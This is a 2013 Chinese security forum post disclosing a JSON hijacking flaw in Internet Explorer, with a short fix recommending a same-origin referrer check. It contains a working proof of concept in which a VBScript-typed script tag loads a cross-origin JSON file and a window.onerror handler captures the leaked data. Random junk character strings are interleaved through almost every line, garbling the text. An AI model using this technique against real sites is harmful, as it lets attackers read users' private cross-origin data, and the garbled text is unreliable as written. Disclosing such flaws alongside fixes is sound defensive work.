找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2310|回复: 0
打印 上一主题 下一主题

IE通用JSON劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
+ N* o+ n5 v2 A$ ]3 m, ~* N) b/ P" h$ U9 r
由于某些资源容器对数据处理不当导致json劫持漏洞.3 D' b9 s0 T$ N, x: z6 y2 ^. h. @  S
详细说明:, q# y$ D, `" m  i- M) \
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
* P6 H. S! P6 Y! |<script language=vbscript></script>: S5 O* A1 e- b* e$ q! n

  \5 m3 J; ~1 g# x当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.( B5 P) i4 `  G& _
漏洞证明:
, U1 o1 c" P" b8 I' U+ V# P( o<script>
* F3 Z4 z* m, X' @& A  Z# w# ~2 l" g! Owindow.onerror=function(_){
/ v. z) f7 R4 w5 n/ \alert(_)0 W& M* y! ^; w* `/ G8 Z
}1 M/ @0 ~8 j7 m  \) T$ |
</script>
0 f* j5 s% S3 `, ?, L2 @- `- f<script language=vbscript src=1.json></script>0 q. h7 I8 T7 A5 }4 l. Z
% A5 e: ^/ S" B6 I
3 a( A$ l- `6 E3 y8 e( j' K" R
1.json:1 D' W0 T+ D( F/ |* Z
[{"name":"sogili","age":19}]  P3 v! ^; m7 x2 j* ?! t, h
修复方案:
! v1 D% T0 b* j1 i网站业务对于这个问题可以通过验证referrer是否为同源来防御
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表